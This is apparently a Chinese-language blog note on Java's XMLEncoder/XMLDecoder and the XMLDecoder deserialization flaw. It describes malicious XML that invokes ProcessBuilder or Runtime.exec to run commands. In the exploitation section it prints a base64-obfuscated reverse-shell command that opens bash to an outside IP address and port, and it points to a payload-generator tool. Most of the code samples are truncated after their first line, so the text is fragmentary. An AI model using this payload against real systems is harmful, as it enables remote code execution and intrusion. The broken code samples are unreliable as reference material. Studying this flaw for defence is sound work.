XMLDecoder和XMLEncoder
XMLEncoder类是互补替代ObjectOutputStream,并且可以以相同的方式用于产生的文本表示的JavaBean组件,而XMLDecoder从XMLEncoder生成的xml文档中获取JavaBean组件
XMLEncoder用法
1 | public class test { |
生成如下文件test.xml
XMLDecoder用法
1 | public class test { |
控制台输出对象如下
标签说明
string标签
test,test 字符串的在XML中表示方式为<string>test.test</string>
object标签
通过
1 | <object class="java.lang.Runtime" method="getRuntime"> |
void标签
通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:
1 | <object class="javax.swing.JButton"> |
array标签
通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:
1 | <array class="java.lang.String" length="3"> |
XMLDecoder反序列化漏洞
简介
根据XMLDecoder解析XML并且运行代码调用方法的机制,我们可以构造恶意XML让其解析并且执行
利用
这里调用ProcesserBuilder("cmd").start()执行命令,构造xml如下
1 |
|
也可以用Runtime.getRuntime().exec()执行命令
1 | <?xml version="1.0" encoding="UTF-8"?> |
XML被XMLDecoder解析执行,结果如下
- 每个数组
array用于制造命令间的空格 - 反弹shell此处的花括号
1
{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{base64,-d}|{bash,-i}
{}用于将字符串分开,即{echo,1}等价于echo 1
工具
github上的项目XMLDecoder-payload-generator可以自动生成payload
分析
过几天再补,先留个别人的链接
https://blog.csdn.net/SKI_12/article/details/85058040